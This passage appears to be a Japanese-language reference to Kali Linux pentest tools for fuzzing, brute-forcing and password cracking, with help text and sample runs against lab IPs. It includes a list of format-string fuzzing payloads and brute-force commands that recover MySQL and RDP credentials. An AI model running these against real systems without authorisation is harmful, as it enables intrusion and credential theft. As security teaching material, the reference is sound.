    5/532  GET / HTTP/1.0 [Host: somehost:XAXAX] ............................................. (2409)
[...]

ffuf

ディレクトリの探索やGET/POSTパラメーターのファジングテストを行います。

■ 使用方法

root@kali:~# ffuf --help

HTTP OPTIONS:
  -H                  Header `"Name: Value"`, separated by colon. Multiple -H flags are accepted.
  -X                  HTTP method to use
  -b                  Cookie data `"NAME1=VALUE1; NAME2=VALUE2"` for copy as curl functionality.
  -cc                 Client cert for authentication. Client key needs to be defined as well for this to work
  -ck                 Client key for authentication. Client certificate needs to be defined as well for this to work
  -d                  POST data
  -http2              Use HTTP2 protocol (default: false)
  -ignore-body        Do not fetch the response content. (default: false)
  -r                  Follow redirects (default: false)
  -raw                Do not encode URI (default: false)
  -recursion          Scan recursively. Only FUZZ keyword is supported, and URL (-u) has to end in it. (default: false)
  -recursion-depth    Maximum recursion depth. (default: 0)
  -recursion-strategy Recursion strategy: "default" for a redirect based, and "greedy" to recurse on all matches (default: default)
  -replay-proxy       Replay matched requests using this proxy.
  -sni                Target TLS SNI, does not support FUZZ keyword
  -timeout            HTTP request timeout in seconds. (default: 10)
  -u                  Target URL
  -x                  Proxy URL (SOCKS5 or HTTP). For example: http://127.0.0.1:8080 or socks5://127.0.0.1:8080

GENERAL OPTIONS:
  -V                  Show version information. (default: false)
  -ac                 Automatically calibrate filtering options (default: false)
  -acc                Custom auto-calibration string. Can be used multiple times. Implies -ac
  -ach                Per host autocalibration (default: false)
  -ack                Autocalibration keyword (default: FUZZ)
  -acs                Custom auto-calibration strategies. Can be used multiple times. Implies -ac
  -c                  Colorize output. (default: false)
  -config             Load configuration from a file
  -json               JSON output, printing newline-delimited JSON records (default: false)
  -maxtime            Maximum running time in seconds for entire process. (default: 0)
  -maxtime-job        Maximum running time in seconds per job. (default: 0)
  -noninteractive     Disable the interactive console functionality (default: false)
  -p                  Seconds of `delay` between requests, or a range of random delay. For example "0.1" or "0.1-2.0"
  -rate               Rate of requests per second (default: 0)
  -s                  Do not print additional information (silent mode) (default: false)
  -sa                 Stop on all error cases. Implies -sf and -se. (default: false)
  -scraperfile        Custom scraper file path
  -scrapers           Active scraper groups (default: all)
  -se                 Stop on spurious errors (default: false)
  -search             Search for a FFUFHASH payload from ffuf history
  -sf                 Stop when > 95% of responses return 403 Forbidden (default: false)
  -t                  Number of concurrent threads. (default: 40)
  -v                  Verbose output, printing full URL and redirect location (if any) with the results. (default: false)

MATCHER OPTIONS:
  -mc                 Match HTTP status codes, or "all" for everything. (default: 200-299,301,302,307,401,403,405,500)
  -ml                 Match amount of lines in response
  -mmode              Matcher set operator. Either of: and, or (default: or)
  -mr                 Match regexp
  -ms                 Match HTTP response size
  -mt                 Match how many milliseconds to the first response byte, either greater or less than. EG: >100 or <100
  -mw                 Match amount of words in response

FILTER OPTIONS:
  -fc                 Filter HTTP status codes from response. Comma separated list of codes and ranges
  -fl                 Filter by amount of lines in response. Comma separated list of line counts and ranges
  -fmode              Filter set operator. Either of: and, or (default: or)
  -fr                 Filter regexp
  -fs                 Filter HTTP response size. Comma separated list of sizes and ranges
  -ft                 Filter by number of milliseconds to the first response byte, either greater or less than. EG: >100 or <100
  -fw                 Filter by amount of words in response. Comma separated list of word counts and ranges

INPUT OPTIONS:
  -D                  DirSearch wordlist compatibility mode. Used in conjunction with -e flag. (default: false)
  -e                  Comma separated list of extensions. Extends FUZZ keyword.
  -enc                Encoders for keywords, eg. 'FUZZ:urlencode b64encode'
  -ic                 Ignore wordlist comments (default: false)
  -input-cmd          Command producing the input. --input-num is required when using this input method. Overrides -w.
  -input-num          Number of inputs to test. Used in conjunction with --input-cmd. (default: 100)
  -input-shell        Shell to be used for running command
  -mode               Multi-wordlist operation mode. Available modes: clusterbomb, pitchfork, sniper (default: clusterbomb)
  -request            File containing the raw http request
  -request-proto      Protocol to use along with raw request (default: https)
  -w                  Wordlist file path and (optional) keyword separated by colon. eg. '/path/to/wordlist:KEYWORD'

OUTPUT OPTIONS:
  -debug-log          Write all of the internal logging to the specified file.
  -o                  Write output to file
  -od                 Directory path to store matched results to.
  -of                 Output file format. Available formats: json, ejson, html, md, csv, ecsv (or, 'all' for all formats) (default: json)
  -or                 Don\'t create the output file if we don\'t have results (default: false)

■ 使用例

root@kali:~# ffuf -w words.txt -u http://192.168.11.4/FUZZ/
[...]
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.11.4/FUZZ/
 :: Wordlist         : FUZZ: words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[...]
rss                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 4841ms]
wp-content              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 29ms]
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 175ms]
other                   [Status: 200, Size: 86813, Words: 2396, Lines: 264, Duration: 1484ms]
guide                   [Status: 200, Size: 86813, Words: 2396, Lines: 264, Duration: 708ms]
storage                 [Status: 200, Size: 86823, Words: 2396, Lines: 264, Duration: 1318ms]
rss2                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 265ms]
bottom                  [Status: 200, Size: 86815, Words: 2396, Lines: 264, Duration: 1504ms]
wp-includes             [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 1ms]
website                 [Status: 200, Size: 86823, Words: 2396, Lines: 264, Duration: 1519ms]
exec                    [Status: 200, Size: 86805, Words: 2396, Lines: 264, Duration: 1161ms]
rdf                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 134ms]
page1                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 374ms]
Other                   [Status: 200, Size: 86813, Words: 2396, Lines: 264, Duration: 1192ms]
building                [Status: 200, Size: 86828, Words: 2396, Lines: 264, Duration: 1640ms]
[...]
:: Progress: [87664/87664] :: Job [1/1] :: 43 req/sec :: Duration: [0:40:53] :: Errors: 0 ::

simple fuzz

テスト設定ファイルに基づきファジングテストを行います。

■ 使用方法

root@kali:~# sfuzz -h

Build-prefix: /usr
        -h       This message.
        -V       Version information.

networking / output:
        -v       Verbose output
        -q       Silent output mode (generally for CLI fuzzing)
        -X       prints the output in hex

        -b       Begin fuzzing at the test specified.
        -e       End testing on failure.
        -t       Wait time for reading the socket
        -S       Remote host
        -p       Port
        -T|-U|-O TCP|UDP|Output mode
        -R       Refrain from closing connections (ie: "leak" them)

        -f       Config File
        -L       Log file
        -n       Create a new logfile after each fuzz
        -r       Trim the tailing newline
        -D       Define a symbol and value (X=y).
        -l       Only perform literal fuzzing
        -s       Only perform sequence fuzzing

■ 使用例

# テスト設定ファイルを作成
root@kali:~# cat > sfuzz.config << EOF
sequence=A
sequence=%n
sequence=%#123456x
sequence=%s
sequence=%%s
sequence=%20s
sequence=%%20s
sequence=%20x
sequence=%%20x
sequence=%n%n%n%n%n
sequence=%p%p%p%p%p
sequence=%x%x%x%x%x
sequence=%d%d%d%d%d
sequence=%s%s%s%s%s
sequence=%s%p%x%d
sequence=%.1024d
sequence=%.1025d
sequence=%.2048d
sequence=%.2049d
sequence=%.4096d
sequence=%.4097d
sequence=%99999999999s
sequence=%08x
sequence=%%20d
sequence=%%20n
sequence=%%20x
sequence=%%20s
sequence=%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%

reqwait=200

maxseqlen=10024

endcfg
GET /FUZZ HTTP/1.0

--
GET / HTTP/1.1
Host: FUZZ

--
EOF

root@kali:~#　sfuzz -S 192.168.11.4 -p 80 -T -f sfuzz.config
[...]
[03:53:44] attempting fuzz - 1 (len: 10040).
[03:53:44] info: tx fuzz - (10040 bytes) - scanning for reply.
[03:53:44] read:
HTTP/1.1 414 Request-URI Too Large
Date: Tue, 12 Nov 2024 03:53:44 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Content-Length: 331
Connection: close
Content-Type: text/html; charset=iso-8859-1
[...]
===============================================================================
[03:53:44] attempting fuzz - 2 (len: 10040).
[03:53:44] info: tx fuzz - (10040 bytes) - scanning for reply.
[03:53:45] read:
HTTP/1.1 414 Request-URI Too Large
Date: Tue, 12 Nov 2024 03:53:44 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Content-Length: 331
Connection: close
Content-Type: text/html; charset=iso-8859-1
[...]
===============================================================================
[03:53:55] attempting fuzz - 56 (len: 10047).
[03:53:55] info: tx fuzz - (10047 bytes) - scanning for reply.
[03:53:56] read:
HTTP/1.1 400 Bad Request
Date: Tue, 12 Nov 2024 03:53:55 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
[...]

Wfuzz

指定されたペイロードでファジングテストを行います。

■ 使用方法

root@kali:~# wfuzz --help

Usage:  wfuzz [options] -z payload,params <url>

        FUZZ, ..., FUZnZ  wherever you put these keywords wfuzz will replace them with the values of the specified payload.
        FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.

Options:
        -h/--help                 : This help
        --help                    : Advanced help
        --filter-help             : Filter language specification
        --version                 : Wfuzz version details
        -e <type>                 : List of available encoders/payloads/iterators/printers/scripts

        --recipe <filename>       : Reads options from a recipe. Repeat for various recipes.
        --dump-recipe <filename>  : Prints current options as a recipe
        --oF <filename>           : Saves fuzz results to a file. These can be consumed later using the wfuzz payload.

        -c                        : Output with colors
        -v                        : Verbose information.
        -f filename,printer       : Store results in the output file using the specified printer (raw printer if omitted).
        -o printer                : Show results using the specified printer.
        --interact                : (beta) If selected,all key presses are captured. This allows you to interact with the program.
        --dry-run                 : Print the results of applying the requests without actually making any HTTP request.
        --prev                    : Print the previous HTTP requests (only when using payloads generating fuzzresults)
        --efield <expr>           : Show the specified language expression together with the current payload. Repeat for various fields.
        --field <expr>            : Do not show the payload but only the specified language expression. Repeat for various fields.

        -p addr                   : Use Proxy in format ip:port:type. Repeat option for using various proxies.
                                    Where type could be SOCKS4,SOCKS5 or HTTP if omitted.

        -t N                      : Specify the number of concurrent connections (10 default)
        -s N                      : Specify time delay between requests (0 default)
        -R depth                  : Recursive path discovery being depth the maximum recursion level.
        -D depth                  : Maximum link depth level.
        -L,--follow               : Follow HTTP redirections
        --ip host:port            : Specify an IP to connect to instead of the URL\'s host in the format ip:port
        -Z                        : Scan mode (Connection errors will be ignored).
        --req-delay N             : Sets the maximum time in seconds the request is allowed to take (CURLOPT_TIMEOUT). Default 90.
        --conn-delay N            : Sets the maximum time in seconds the connection phase to the server to take (CURLOPT_CONNECTTIMEOUT). Default 90.

        -A, --AA, --AAA           : Alias for -v -c and --script=default,verbose,discover respectively
        --no-cache                : Disable plugins cache. Every request will be scanned.
        --script=                 : Equivalent to --script=default
        --script=<plugins>        : Runs script\'s scan. <plugins> is a comma separated list of plugin-files or plugin-categories
        --script-help=<plugins>   : Show help about scripts.
        --script-args n1=v1,...   : Provide arguments to scripts. ie. --script-args grep.regex="<A href=\"(.*?)\">"

        -u url                    : Specify a URL for the request.
        -m iterator               : Specify an iterator for combining payloads (product by default)
        -z payload                : Specify a payload for each FUZZ keyword used in the form of name[,parameter][,encoder].
                                    A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.
                                    Encoders category can be used. ie. url
                                    Use help as a payload to show payload plugin\'s details (you can filter using --slice)
        --zP <params>             : Arguments for the specified payload (it must be preceded by -z or -w).
        --zD <default>            : Default parameter for the specified payload (it must be preceded by -z or -w).
        --zE <encoder>            : Encoder for the specified payload (it must be preceded by -z or -w).
        --slice <filter>          : Filter payload\'s elements using the specified expression. It must be preceded by -z.
        -w wordlist               : Specify a wordlist file (alias for -z file,wordlist).
        -V alltype                : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.
        -X method                 : Specify an HTTP method for the request, ie. HEAD or FUZZ

        -b cookie                 : Specify a cookie for the requests. Repeat option for various cookies.
        -d postdata               : Use post data (ex: "id=FUZZ&catalogue=1")
        -H header                 : Use header (ex:"Cookie:id=1312321&user=FUZZ"). Repeat option for various headers.
        --basic/ntlm/digest auth  : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"

        --hc/hl/hw/hh N[,N]+      : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
        --sc/sl/sw/sh N[,N]+      : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
        --ss/hs regex             : Show/hide responses with the specified regex within the content
        --filter <filter>         : Show/hide responses using the specified filter expression (Use BBB for taking values from baseline)
        --prefilter <filter>      : Filter items before fuzzing using the specified expression. Repeat for concatenating filters.

■ 使用例

# 2024/01/01/～2024/12/31のディレクトリ配下のファイルをファイル名リストを使って走査
root@kali:~# wfuzz --filter "c=200" \
-z range --zD 01-12 \
-z range --zD 01-31 \
-z file,db-backups.txt \
-u http://192.168.11.4/2024/FUZZ/FUZ2Z/FUZ3Z

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.4/2024/FUZZ/FUZ2Z/FUZ3Z
Total requests: 124992

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000093854:   200        1 L      5 W        128 Ch      "10 - 01 - backup.sql.tar.gz"

Bruteforcing and Credential Stuffing

BruteSpray

様々なサービスに対してデフォルトの認証情報が設定されていないかどうかを総当たりでチェックします。

[対応サービス]

ssh
ftp
telnet
mssql
postgresql
imap
pop3
smbnt
smtp
snmp
mysql
vmauthd
vnc
mongodb
nntp
asterisk
teamspeak
oracle
xmpp
rdp

■ 使用方法

root@kali:~# brutespray --help

Usage of brutespray:
  -C string
        Specify a combo wordlist deiminated by ':', example: user1:password
  -H string
        Target in the format service://host:port, CIDR ranges supported,
         default port will be used if not specified
  -P    Print found hosts parsed from provided host and file arguments
  -S    List all supported services
  -T int
        Number of hosts to bruteforce at the same time (default 5)
  -f string
        File to parse; Supported: Nmap, Nessus, Nexpose, Lists, etc
  -o string
        Directory containing successful attempts (default "brutespray-output")
  -p string
        Password or password file to use for bruteforce
  -q    Suppress the banner
  -r int
        Amount of times to retry after receiving connection failed (default 3)
  -s string
        Service type: ssh, ftp, smtp, etc; Default all (default "all")
  -t int
        Number of threads to use (default 10)
  -u string
        Username or user list to bruteforce
  -w duration
        Set timeout of bruteforce attempts (default 5s)

■ 使用例

# ポートスキャンの結果をファイルに出力する
root@kali:~# nmap -oX /root/out.xml 192.168.11.3
[...]
PORT     STATE SERVICE
3306/tcp open  mysql
[...]
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds

# ポートスキャンの結果をもとにブルートフォース攻撃を行う
root@kali:~# brutespray -f /root/out.xml -u /root/wordlist/user.txt -p /root/wordlist/password.txt -t 5
[...]                                                                      
Attempt mysql on host 192.168.11.3 port 3306 with username admin and password austin1 failed                                                                          
Attempt mysql on host 192.168.11.3 port 3306 with username admin and password crazy1 failed                                                                           
Attempt mysql SUCCESS on host 192.168.11.3 port 3306 with username admin and password pass succeeded                                                                  
Attempt mysql on host 192.168.11.3 port 3306 with username admin and password kristina failed                                                                         
Attempt mysql on host 192.168.11.3 port 3306 with username admin and password tiger1 failed                                                                             
[...]

CeWL

指定されたサイトから単語を収集してパスワード解析ツールなどで使用するための単語リストを作成します。

■ 使用方法

root@kali:~# cewl --help

Usage: cewl [OPTIONS] ... <url>

    OPTIONS:
        -h, --help: Show help.
        -k, --keep: Keep the downloaded file.
        -d <x>,--depth <x>: Depth to spider to, default 2.
        -m, --min_word_length: Minimum word length, default 3.
        -x, --max_word_length: Maximum word length, default unset.
        -o, --offsite: Let the spider visit other sites.
        --exclude: A file containing a list of paths to exclude
        --allowed: A regex pattern that path must match to be followed
        -w, --write: Write the output to the file.
        -u, --ua <agent>: User agent to send.
        -n, --no-words: Don\'t output the wordlist.
        -g <x>, --groups <x>: Return groups of words as well
        --lowercase: Lowercase all parsed words
        --with-numbers: Accept words with numbers in as well as just letters
        --convert-umlauts: Convert common ISO-8859-1 (Latin-1) umlauts (ä-ae, ö-oe, ü-ue, ß-ss)
        -a, --meta: include meta data.
        --meta_file file: Output file for meta data.
        -e, --email: Include email addresses.
        --email_file <file>: Output file for email addresses.
        --meta-temp-dir <dir>: The temporary directory used by exiftool when parsing files, default /tmp.
        -c, --count: Show the count for each word found.
        -v, --verbose: Verbose.
        --debug: Extra debug information.

        Authentication
        --auth_type: Digest or basic.
        --auth_user: Authentication username.
        --auth_pass: Authentication password.

        Proxy Support
        --proxy_host: Proxy host.
        --proxy_port: Proxy port, default 8080.
        --proxy_username: Username for proxy, if required.
        --proxy_password: Password for proxy, if required.

        Headers
        --header, -H: In format name:value - can pass multiple.

    <url>: The site to spider.

■ 使用例

# 指定したサイトをもとに4桁の数字のリストを作成
root@kali:~# cewl --min_word_length 4 --max_word_length 4 --with-numbers --depth 0 https://suujikotoba.com/4keta/ | awk '/^[[:digit:]]+$/' | sort > words.txt
root@kali:~# head -n 10 words.txt
0000
0005
0009
0010
0014
0019
0024
0026
0030
0039
[...]

changeme

様々なサービスに対してデフォルトの認証情報が設定されていないかどうかを総当たりでチェックします。

■ 使用方法

root@kali:~# changeme --help

usage: changeme.py [-h] [--all] [--category CATEGORY] [--contributors] [--debug] [--delay DELAY] [--dump] [--dryrun] [--fingerprint] [--fresh]
                   [--log LOG] [--mkcred] [--name NAME] [--noversion] [--proxy PROXY] [--output OUTPUT] [--oa] [--protocols PROTOCOLS]
                   [--portoverride] [--redishost REDISHOST] [--redisport REDISPORT] [--resume] [--shodan_query SHODAN_QUERY]
                   [--shodan_key SHODAN_KEY] [--ssl] [--threads THREADS] [--timeout TIMEOUT] [--useragent USERAGENT] [--validate] [--verbose]
                   target

positional arguments:
  target                Target to scan. Can be IP, subnet, hostname, nmap xml file, text file or proto://host:port

options:
  -h, --help            show this help message and exit
  --all, -a             Scan for all protocols
  --category CATEGORY, -c CATEGORY
                        Category of default creds to scan for
  --contributors        Display cred file contributors
  --debug, -d           Debug output
  --delay DELAY, -dl DELAY
                        Specify a delay in milliseconds to avoid 429 status codes default=500
  --dump                Print all of the loaded credentials
  --dryrun              Print urls to be scan, but don\'t scan them
  --fingerprint, -f     Fingerprint targets, but don\'t check creds
  --fresh               Flush any previous scans and start fresh
  --log LOG, -l LOG     Write logs to logfile
  --mkcred              Make cred file
  --name NAME, -n NAME  Narrow testing to the supplied credential name
  --noversion           Don\'t perform a version check
  --proxy PROXY, -p PROXY
                        HTTP(S) Proxy
  --output OUTPUT, -o OUTPUT
                        Name of result file. File extension determines type (csv, html, json).
  --oa                  Output results files in csv, html and json formats
  --protocols PROTOCOLS
                        Comma separated list of protocols to test: http,ssh,ssh_key. Defaults to http.
  --portoverride        Scan all protocols on all specified ports
  --redishost REDISHOST
                        Redis server
  --redisport REDISPORT
                        Redis server
  --resume, -r          Resume previous scan
  --shodan_query SHODAN_QUERY, -q SHODAN_QUERY
                        Shodan query
  --shodan_key SHODAN_KEY, -k SHODAN_KEY
                        Shodan API key
  --ssl                 Force cred to SSL and fall back to non-SSL if an SSLError occurs
  --threads THREADS, -t THREADS
                        Number of threads, default=10
  --timeout TIMEOUT     Timeout in seconds for a request, default=10
  --useragent USERAGENT, -ua USERAGENT
                        User agent string to use
  --validate            Validate creds files
  --verbose, -v         Verbose output

■ 使用例

root@kali:~# changeme 192.168.11.4 --all
Loaded 123 default credential profiles
Loaded 398 default credentials

[00:09:28] [+] Found ftp default cred anonymous:None at ftp://192.168.11.4:21
[00:09:28] [+] Found ftp default cred ftp:ftp at ftp://192.168.11.4:21

[00:10:49] Found 2 default credentials

Name    Username    Password    Target               Evidence
------  ----------  ----------  -------------------  ----------------------
ftp     anonymous               ftp://192.168.11.4:21  226 Directory send OK.
ftp     ftp         ftp         ftp://192.168.11.4:21  226 Directory send OK.

Crowbar

RDP（リモートデスクトップ）、OpenVPN、VNC、SSH秘密鍵認証に対してブルートフォース攻撃を行いクレデンシャル情報を特定します。

■ 使用方法

root@kali:~# crowbar --help

positional arguments:
  options

options:
  -h, --help            show this help message and exit
  -b {openvpn,rdp,sshkey,vnckey}, --brute {openvpn,rdp,sshkey,vnckey}
                        Target service
  -s SERVER, --server SERVER
                        Static target
  -S SERVER_FILE, --serverfile SERVER_FILE
                        Multiple targets stored in a file
  -u USERNAME [USERNAME ...], --username USERNAME [USERNAME ...]
                        Static name to login with
  -U USERNAME_FILE, --usernamefile USERNAME_FILE
                        Multiple names to login with, stored in a file
  -n THREAD, --number THREAD
                        Number of threads to be active at once
  -l FILE, --log FILE   Log file (only write attempts)
  -o FILE, --output FILE
                        Output file (write everything else)
  -c PASSWD, --passwd PASSWD
                        Static password to login with
  -C FILE, --passwdfile FILE
                        Multiple passwords to login with, stored in a file
  -t TIMEOUT, --timeout TIMEOUT
                        [SSH] How long to wait for each thread (seconds)
  -p PORT, --port PORT  Alter the port if the service is not using the default value
  -k KEY_FILE, --keyfile KEY_FILE
                        [SSH/VNC] (Private) Key file or folder containing multiple files
  -m CONFIG, --config CONFIG
                        [OpenVPN] Configuration file
  -d, --discover        Port scan before attacking open ports
  -v, --verbose         Enable verbose output (-vv for more)
  -D, --debug           Enable debug mode
  -q, --quiet           Only display successful logins

■ 使用例

# 指定したホストに対してユーザー名とパスワードのリストを使ってRDP接続の総当たりを行う
root@kali:~# crowbar -b rdp -U /root/user.txt -C /root/pass.txt -s 192.168.11.4/32 -v
2024-09-22 06:56:25 START
2024-09-22 06:56:25 Crowbar v0.4.2
2024-09-22 06:56:25 Brute Force Type: rdp
2024-09-22 06:56:25      Output File: /crowbar.out
2024-09-22 06:56:25         Log File: /crowbar.log
2024-09-22 06:56:25    Discover Mode: False
2024-09-22 06:56:25     Verbose Mode: 1
2024-09-22 06:56:25       Debug Mode: False
2024-09-22 06:56:25 Trying 192.168.11.4:3389
2024-09-22 06:56:25 LOG-RDP: 192.168.11.4:3389 - foo:admin
2024-09-22 06:56:25 LOG-RDP: 192.168.11.4:3389 - foo:test
2024-09-22 06:56:25 LOG-RDP: 192.168.11.4:3389 - foo:p@ssw0rd
2024-09-22 06:56:25 LOG-RDP: 192.168.11.4:3389 - bar:admin
2024-09-22 06:56:25 LOG-RDP: 192.168.11.4:3389 - bar:test
2024-09-22 06:56:26 LOG-RDP: 192.168.11.4:3389 - bar:p@ssw0rd
2024-09-22 06:56:26 LOG-RDP: 192.168.11.4:3389 - hello:admin
2024-09-22 06:56:26 LOG-RDP: 192.168.11.4:3389 - hello:p@ssw0rd
2024-09-22 06:56:26 LOG-RDP: 192.168.11.4:3389 - hello:test
2024-09-22 06:56:28 RDP-SUCCESS : 192.168.11.4:3389 - hello:p@ssw0rd
2024-09-22 06:56:28 STOP

crunch

指定した文字セットで単語リストを作成します。

■ 使用方法

root@kali:~# man crunch
SYNOPSIS
       crunch <min-len> <max-len> [<charset string>] [options]
OPTIONS

       -b number[type]
              Specifies the size of the output file, only works if -o START is used, i.e.: 60MB  The output files will  be  in  the  format  of
              starting letter-ending letter for example: ./crunch 4 5 -b 20mib -o START will generate 4 files: aaaa-gvfed.txt, gvfee-ombqy.txt,
              ombqz-wcydt.txt,  wcydu-zzzzz.txt  valid  values  for type are kb, mb, gb, kib, mib, and gib.  The first three types are based on
              1000 while the last three types are based on 1024.  NOTE There is no space between the number and type.   For  example  500mb  is
              correct 500 mb is NOT correct.

       -c number
              Specifies  the number of lines to write to output file, only works if -o START is used, i.e.: 60  The output files will be in the
              format of starting letter-ending letter for example: ./crunch 1 1 -f  /pentest/password/crunch/charset.lst  mixalpha-numeric-all-
              space -o START -c 60 will result in 2 files: a-7.txt and 8-\ .txt  The reason for the slash in  the second filename is the ending
              character  is  space and ls has to escape it to print it.  Yes you will need to put in the \ when specifying the filename because
              the last character is a space.

       -d numbersymbol
              Limits the number of duplicate characters.  -d 2@ limits the lower case alphabet to output like aab and aac.  aaa  would  not  be
              generated as that is 3 consecutive letters of a.  The format is number then symbol where number is the maximum number of consecu‐
              tive characters and symbol is the symbol of the the character set you want to limit i.e. @,%^   See examples 17-19.

       -e string
              Specifies when crunch should stop early

       -f /path/to/charset.lst charset-name
              Specifies a character set from the charset.lst

       -i Inverts the output so instead of aaa,aab,aac,aad, etc you get aaa,baa,caa,daa,aba,bba, etc

       -l  When  you  use  the  -t option this option tells crunch which symbols should be treated as literals.  This will allow you to use the
              placeholders as letters in the pattern.  The -l option should be the same length as the -t option.  See example 15.

       -m Merged with -p.  Please use -p instead.

       -o wordlist.txt
              Specifies the file to write the output to, eg: wordlist.txt

       -p charset OR -p word1 word2 ...
              Tells crunch to generate words that don\'t have repeating characters.   By  default  crunch  will  generate  a  wordlist  size  of
              #of_chars_in_charset  ^  max_length.   This option will instead generate #of_chars_in_charset!.  The ! stands for factorial.  For
              example say the charset is abc and max length is 4..  Crunch will by default generate 3^4 = 81 words.  This option  will  instead
              generate  3! = 3x2x1 = 6 words (abc, acb, bac, bca, cab, cba).  THIS MUST BE THE LAST OPTION!  This option CANNOT be used with -s
              and it ignores min and max length however you must still specify two numbers.

       -q filename.txt
              Tells crunch to read filename.txt and permute what is read.  This is like the -p option except  it  gets  the  input  from  file‐
              name.txt.

       -r  Tells  crunch  to  resume generate words from where it left off.  -r only works if you use -o.  You must use the same command as the
              original command used to generate the words.  The only exception to this is the -s option.  If your original command used the  -s
              option you MUST remove it before you resume the session.  Just add -r to the end of the original command.

       -s startblock
              Specifies a starting string, eg: 03god22fs

       -t @,%^
              Specifies a pattern, eg: @@god@@@@ where the only the @'s, ,'s, %'s, and ^'s will change.
              @ will insert lower case characters
              , will insert upper case characters
              % will insert numbers
              ^ will insert symbols

       -u
              The -u option disables the printpercentage thread.  This should be the last option.

       -z gzip, bzip2, lzma, and 7z
              Compresses the output from the -o option.  Valid parameters are gzip, bzip2, lzma, and 7z.
              gzip  is the fastest but the compression is minimal.  bzip2 is a little slower than gzip but has better compression.  7z is slow‐
              est but has the best compression.

■ 使用例

# 指定したパターンに数字だけを使った８桁の文字列リストを作成する
root@kali:~# crunch 8 8 -f /usr/share/crunch/charset.lst numeric -o words.txt -t @@-@@@@@
Crunch will now generate the following amount of data: 90000000 bytes
85 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000000

root@kali:~# head -n 5 words.txt
00-00000
00-00001
00-00002
00-00003
00-00004

root@kali:~# tail -n 5 words.txt
99-99995
99-99996
99-99997
99-99998
99-99999

hashID

様々なタイプのハッシュを識別します。

■ 使用方法

root@kali:~# hashid --help

usage: hashid.py [-h] [-e] [-m] [-j] [-o FILE] [--version] INPUT

positional arguments:
  INPUT                    input to analyze (default: STDIN)

options:
  -e, --extended           list all possible hash algorithms including salted passwords
  -m, --mode               show corresponding Hashcat mode in output
  -j, --john               show corresponding JohnTheRipper format in output
  -o FILE, --outfile FILE  write output to file
  -h, --help               show this help message and exit
  --version                show program\'s version number and exit

■ 使用例

root@kali:~# hashid '$P$BjlfCiZ7mwif9qwdfpsfDGn5C9tR4I0'
Analyzing '$P$BjlfCiZ7mwif9qwdfpsfDGn5C9tR4I0'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash

hashcat

パスワードの解読を行います。

■ 使用方法

root@kali:~# hashcat --help

Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...

- [ Options ] -

 Options Short / Long           | Type | Description                                          | Example
================================+======+======================================================+=======================
 -m, --hash-type                | Num  | Hash-type, references below (otherwise autodetect)   | -m 1000
 -a, --attack-mode              | Num  | Attack-mode, see references below                    | -a 3
 -V, --version                  |      | Print version                                        |
 -h, --help                     |      | Print help                                           |
     --quiet                    |      | Suppress output                                      |
     --hex-charset              |      | Assume charset is given in hex                       |
     --hex-salt                 |      | Assume salt is given in hex                          |
     --hex-wordlist             |      | Assume words in wordlist are given in hex            |
     --force                    |      | Ignore warnings                                      |
     --deprecated-check-disable |      | Enable deprecated plugins                            |
     --status                   |      | Enable automatic update of the status screen         |
     --status-json              |      | Enable JSON format for status output                 |
     --status-timer             | Num  | Sets seconds between status screen updates to X      | --status-timer=1
     --stdin-timeout-abort      | Num  | Abort if there is no input from stdin for X seconds  | --stdin-timeout-abort=300
     --machine-readable         |      | Display the status view in a machine-readable format |
     --keep-guessing            |      | Keep guessing the hash after it has been cracked     |
     --self-test-disable        |      | Disable self-test functionality on startup           |
     --loopback                 |      | Add new plains to induct directory                   |
     --markov-hcstat2           | File | Specify hcstat2 file to use                          | --markov-hcstat2=my.hcstat2
     --markov-disable           |      | Disables markov-chains, emulates classic brute-force |
     --markov-classic           |      | Enables classic markov-chains, no per-position       |
     --markov-inverse           |      | Enables inverse markov-chains, no per-position       |
 -t, --markov-threshold         | Num  | Threshold X when to stop accepting new markov-chains | -t 50
     --runtime                  | Num  | Abort session after X seconds of runtime             | --runtime=10
     --session                  | Str  | Define specific session name                         | --session=mysession
     --restore                  |      | Restore session from --session                       |
     --restore-disable          |      | Do not write restore file                            |
     --restore-file-path        | File | Specific path to restore file                        | --restore-file-path=x.restore
 -o, --outfile                  | File | Define outfile for recovered hash                    | -o outfile.txt
     --outfile-format           | Str  | Outfile format to use, separated with commas         | --outfile-format=1,3
     --outfile-autohex-disable  |      | Disable the use of $HEX[] in output plains           |
     --outfile-check-timer      | Num  | Sets seconds between outfile checks to X             | --outfile-check-timer=30
     --wordlist-autohex-disable |      | Disable the conversion of $HEX[] from the wordlist   |
 -p, --separator                | Char | Separator char for hashlists and outfile             | -p :
     --stdout                   |      | Do not crack a hash, instead print candidates only   |
     --show                     |      | Compare hashlist with potfile; show cracked hashes   |
     --left                     |      | Compare hashlist with potfile; show uncracked hashes |
     --username                 |      | Enable ignoring of usernames in hashfile             |
